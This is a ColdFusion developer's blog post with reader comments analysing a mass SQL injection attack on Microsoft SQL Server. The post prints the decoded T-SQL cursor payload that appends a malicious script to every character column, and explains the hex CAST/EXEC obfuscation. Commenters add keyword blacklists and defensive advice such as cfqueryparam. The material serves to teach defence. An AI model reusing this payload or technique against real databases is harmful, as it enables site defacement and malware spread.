Back in February I wrote a blog post on SQL Injection that included an example of how a malicious user might inject into a character field even though ColdFusion escapes single quote marks. The attack involved other forms of escaping single quotes - and was effective against MySQL. This week I stumbled upon (more like a train wreck) an attack that is much more sophisticated - and also involves injection into a character field. I am told that others have discovered and written on this attack over the last few weeks - but I was unaware of it until a customer of ours was victimized. Amazingly, the specific real world attack I discovered and fixed allowed the hacker to append a string to every char column in every table of the database. It was so pervasive it left me wondering if it was SQL injection at all - until I found a URL entry that looked something like this:

Note: in the spot above where it says "CAST(0x44..." I have left out a lengthy string of numbers.

First let me say that this code is ineffective against anyone using cfqueryparam. It is also ineffective against a simple "VAL( )" function in this case (since the user input was numeric - val() would have taken only the first few characters). But in this case the whole string - everything after someID= - was passed into the cfquery. Since the input was not validated the server attempted to execute it as valid SQL. What did it do?

The first part declares a variable as character string of 4000 characters.

DECLARE @S CHAR(4000)

The second part "sets" this variable with a unique CAST statement.

SET @S = CAST(0x44...*long string of numbers* AS CHAR(4000))

The final command executes the character string as SQL

EXEC(@S)

The trick here is the 0x* syntax inside of the CAST() function. It tells SQL that the values contained are actually ASCII codes and not translated characters. CAST then translates the numbers into actual characters that are subsequently executed by the EXEC() command. This obscures the attack in the logs, but here's how to unpack it. Find the string in the logs and tease out the CAST statement. Then, using Query analyzer try the following:

DECLARE @S CHAR(4000)

SET @S=CAST(40x44***** AS CHAR(4000))

PRINT @S

Note that 44***** is that long string of numbers. This will print out the actual SQL being executed. When I did this for the attack I had just fixed I found the following code being executed - and this resulted in a moment of begrudging awe in spite of my distaste for spammers and hackers.

DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99
or b.xtype=35
or b.xtype=231
or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''Malicious javascript here'' where '+@C+' not like ''Same malicous js'')

FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor

DEALLOCATE Table_Cursor

This code creates a cursor of all the user tables in the database and all the character columns within those tables. Then it appends a string to each of the columns. In this case the string was a link back to a web site, but it could have been much worse. As Guru Scott Krebs said to me, "...at least they had the decency to deallocate their cursor". In any case the result was that every single character column in the DB was infected with the malicious string. Since this was a news site it meant that every story, every title, every comment - virtually every piece of useful content on the site - had an embedded link back to the hacker's site.

The Fix

If you are using MSSQL you are vulnerable to this specific attack or any attack like it. The fix is to always use CFQUERYPARAM, validate your user input (meaning anything passed on the URL or in the Form scope) to be sure it is what it should be. Never rely on Client side validation for anything more than an enhanced user experience. Always always always write validation routines for form inputs. If any of these steps had been followed this client would not have been hacked successfully.

A note on Ajax

Recently someone asked me about form validation using Ajax. Form elements can be passed back to the server where they are checked and a result sent back to the browser which can display an error or submit the form accordingly. This can be a useful approach. For example, you can make calls to your database or session, check the user's shopping cart or CC etc. The result however is exactly like client side validation. You can enhance the user experience but you cannot secure user input using Ajax - since the form elements are still within the users control. Moreover, you are opening up an additional avenue of attack - particularly if you are touching the database in your Ajax code. Server side validation means that user input is examined on the server every time it is submitted. You cannot validate using Ajax and then not validate when the submission is made - in that way lies madness.

Yes indeed it does - but I prefere to allow multiple queries in a single connection. This helps me further leverage the DB while minimizing the overall number of connections. The DB is the typically the best and most powerful server in your system. It's use should be maximized, not restricted - at least that is my take.

The point remains that this is not a configuration issue per se. It is failure to write appropriate validation code.

So if I had a query like...select cities from locations where state = '#state#'called by /cities.cfm?state=TX

they could do this? You talk about character fields in the intro, but the example seems to be numeric.

How does this attack get around coldfusion automatically escaping single quotes before sending them to MSSQL?

If it only applies to numerics, but can effect character columns, well, that's always been the case. SQL injection can be way more than just injecting data into a column, they can even execute arbitrary code.

Great post, very valuable and I like the way you explained it in detail without making it cuttable and pastable by script kiddies. (But I'm sure the slightly clever ones will work out how to encode the evil sql).

I assume websites that only use stored procedures are not vulnerable to this attack? (cfstoredprocedure)

I think you are right ... In your example CF would indeed add an extra tick at the end and the hack would not succeed. It needs a point of entry like an unqualified unbound numeric value (the ubiquitous url.*something*ID".

Thanks for the write-up. This really isn't so much a new way to inject SQL, as it is an incredibly lightweight-yet-broad reaching and unprecedented method of attacking the database once you have found a vulnerable place to inject the code.

For this reason, many people will deny their data source authentication access to stuff like the information_schema tables.

Once an attacker finds a query that will allow for injection, the sky really is the limit as to what SQL code they can dream up to put in there.

IF your site was using cfstoredprocedure then you are probably not vulnerable. However, some SPs that I have seen take a string value that is subsequently executed using sp_execute - or concatenate strings into a long executable piece of SQL... in that case you are still open to attack.

It is also possible to execute stored procs using basic cfquery blocks - so obviuosly that would still leave you open.

ok. I'll cancel my brick shitting.My numeric stuff is all protected, either using cfqueryparam or by using val() (sometimes we use numbers in varchar fields to accommodate legacy data...)

As for stored procedures, I'd expect they're as vulnerable to this as they are to anything else, which is to say it depends on what you're feeding them. I think Mark's earlier post covered that pretty well -- if you're doing some kind of dynamic query and you feed SQL to a stored procedure instead of simple values, you're asking for it.

@Gary: a website using cfstoredprocedure can still be vunerable to a SQL injectin attack like this IF the stored procedure being called executes dynamic SQL and doesn't use a prepared statement to bind the input parameters.

Just had this attack. Removed this annoyance by extra checks on URL length. Also just wanted to mention that in addition to the mentioned approached you should allocate permission rights on the server according to the needs of this page/section. Don't use same database user for admin and visitor sections! Don't give extra rights on tables that don't have to accessed.

Yes it should... but I really hate this question. Why do I always hear the question about exceptions to when it's "ok" to not use CFQUERYPARAM? Why not just make it a hard and fast rule in your development to always use it?

Yeah... I had 3 hit this blog this morning - and 2 hit my corporate site - so it's definitely making the rounds. It's so pernicious that it is going to force a good many code changes wherever it succeeds - a good thing I think :)

Cfqueryparam or cfstoredproc will naturally prevent this, but you should also be logging these attack attempts to monitor the activity. Portcullis (portcullis.riaforge.org), a cfc filter, can do this. An even better option is to implement a web application firewall.

A slight correction on this. A stored procedure does NOT have any default protection from sql injection attacks. It really depends on how you write them out (just like any coding language). There's a fairly basic example here..

Yes... good point. In my comment above I said "probably" not vulnerable. I meant, if you have created an SP where the variables passed in maintain their status as variables of a particular type and are not strung together as dynamic SQL (most SPs follow this pattern in my experience).

@Emmet,

I'm going to delete your comment and invite you to post it again - this time without the actual URL to the malicious javscript. I don't think we need to give them any more links out there than they already have :)

@Mark: A quick note on the stored procedures bit. What you say is correct *if* you are using the cfstoredproc tag (which in turn requires cfstoredprocparam tags). I know, I know, who on earth wouldn't do that, but I have seen several coders who would call their stored procs in a cfquery tag becuase they claimed it performed better.

If you REALLY wanted to call your proc that way you could. cfqueryparam would be the obvious solution too, but I would hate for someone to think that since they were passing their data into a proc that is somehow made it any better.

FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update '+@T+' set ['+@C+']=replace(['+@C+'],''"></title><InvalidTag src="***********"></script><!--'','''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END

I like to keep things simple, so here's how I plan to somehow protect my databases agains this kind of attack. I'll just put this line of code in Application.cfm or in onRequestStart method in Application.cfc :

<cfif reFindNocase("declare",cgi.query_string)><cfabort /></cfif>

I'll test this tomorrow (as it's bet time now) but I'm confident it'll work quite well I guess.

this will protect your site against this specific attack... but this is a reactive rather than a pro-active approach (black listing bad tags instead of whitelisting good tags). Yes it will work for THIS attack - until someone finds a way around it :)

That will only catch url attempts. It will not prevent attacks coming from form,cookie, and header variables. Portcullis (portcullis.riaforge.org) can look for these other variables scopes. Just put the 'declare' and 'cast' words in the filter.

Got hit as well. Mostly on old code or code that had been written by previous programmers. I try to always use cfqueryparam. It appears I caught it all, even if it takes a little extra time, it's well worth making sure you are using cfqueryparam. Thanks for the post!

Great work getting this info up so quickly... really helped out. Wondering if there's any sort of hacker alert one could subscribe to so to keep up with the place on new malicious website attacks like this one?

I had several attempts on sites today no damage though, I found this quite an interesting way of dealing with sql injection, essentially creating a web firewall http://www.0x000000.com/?i=567 this checks for dangerous injection it using apache mod_rewrite.

There's plenty more to fix or at the very least to check up on. SQL injection is just one type of attack. There's also cross-site scripting (XSS), cross site request forgery, improper error handling, bad session management, weak ssl ciphers, etc. The fun never ends. Cfqueryparam helps with a couple of attack vectors. There several more for you to research.

Thanks for all of your informations, still got some questions: This time it got nothing to do with iis or apache? And it's also not only MS SQL that is affected, also MYSQL? It's not only updates and inserts, the injection via url params can be made also with selects. Don't really understand this part. Thanks for any information.

@gareth--that's the same URL that attacked several clients of mine. I suspect that yesterday's attack was all from the same source (special circle in hell reserved for these &*&^() -- for me it was in sites that passed a numeric value in the querystring where I didn't test it. Luckily for my larger clients, I'd already seen failed attempts come through and had put validation code in place so they didn't get hit.

I'm not sure why everything thinks that cfqueryparam will solve sql injection. Although you should definately use cfqueryparam, it is not enough.

It will often trap bad code trying to be injected with numeric code, that it doesn't help when malicious content is added to a string. Also, it is not always on the URL, it can be added to a form submit.

For example, you have a contact form that asks for FIRST_NAME, its a string of course. Bad code can be appended to the first name or just used in its place. Sometimes sql injection isn't attacking your database, sometimes is just adding some javascript that when displayed on a web page will run and then cause some problems.

What's discussed here is only part of the bigger picture. Seems nearly impossible to prevent.

Actually the hackers already know how this stuff works. That's their job so-to-speak. Trying to keep the methods somehow secret only makes these things more difficult. SPI Dynamics is a very well known security consulting company. Foundstone is another. They post these examples so people can better understand how the hacks work and know what to look for.

Here's an easy undo if your database was compromised. You'll have to set the char count to 8000 in qry analyzer to get the entire output. Tools/Options/Results Tab, set maximum characters to 8000. This ignores text fields and system databases.

Just paste this in qry analyzer. It will create updates for all your columns. Copy the results into another window and run.

If you fancy a little workaround in case you haven't managed to fix all the holes in vulnerable code yet, simply create this OnRequestEnd.cfm file (or in the OnRequestEnd function in Application.cfc if you're using that).. It will simply remove the Chinese crap from the ColdFusion generated page so web pages don't appear broken. My client (inherited) has some badly written code (inherited) that is vulnerable so I'm using this as a temporary measure.

I'm guessing the hackers exploited another variable. Surely your entire site uses more than a single variable. I would recommend downloading the QueryParam Scanner from RiaForge and adding cfqueryparam to all the cfqueries in your entire site now.

You may be able to get more information about what page the hackers used by examining your web server logs.

@Gary: what you describe is not SQL injection. It is Cross Site Scripting or XSS. It is solved by properly escaping strings when outputting them based on the medium they are being imbedded in. (HTML, JS) You are correct though that cfqueryparam does not make you entirely immune. I blogged about that here:http://www.codersrevolution.com/index.cfm/2008/7/2...

@Damian: I doubt any patch from Microsoft will protect your database from SQL injection. Good programming practices protect your database. The problem with SQL injection is that your DBMS DOESN'T KNOW the good stuff from the malicious stuff. That's why it is your job as a programmer to tell the database what is SQL and what is data. Parameterized queries do just that.

@Gareth: Apparently you were pushing it to ask. :) The code that was posted by Daniel simply searches the url variables (name, and values) coming into the page for the word "declare" and aborts page processing if it finds it. That sort of code should only be considered a temporary stop gap though. It will NOT stop many attacks, and will probably block legitimate page requests as well since "declare" is an English word that could appear a number of places. That check also wouldn't search form variables.

My Application.cfm GET/POST filter:The post portion is untested. the GET is validated against actual vulgar requests from the logfile.Catches 2+ occurrances of any black list item defined in mystring. for this - it is a list of most possible sql command words(This one is a bit better than the one I posted in the other thread)

A follow up... My own server started getting hit yesterday which arsed me off... I have a follow up to my previous fix above which I had to change as it doesn't always look to the same server for the .JS file... And also some code to put into onRequest to look for maliciousness in the url and throw a 403 - access denied if found.

Our site has a large base of legacy code from long-gone developers. We have ben attacked a lot in the last 2 weeks, thought it was pinned down - went a week with no successful attack, but its back again. Can anyone confirm that the attackers can used cached pages to get around fixes? If so, any ideas how to block this?

What do you mean by cached pages? If you mean Google cache, then no. Google does not cache your CFML, only the outward facing HTML so hitting a page cached by Google would do absolutley nothing providing the page now submitted to a processing page which used paramaterized queries.

If you are referrring to ColdFusion's cache, then perhaps IF you are using trusted cache AND haven't cleared your template cache OR restarted CF since you modified your code-base.

Chances are, you have a vulnerable page on your site somewhere still. Have you use a scanner tool to check your entire code base for you to see if you missed anything?

I've been using my own scripts using SQL. There've been hacked. What da...! I think it's better to use free scripts (all opersource code) and thanks to such people as Mark Kruger we have a nice future ;)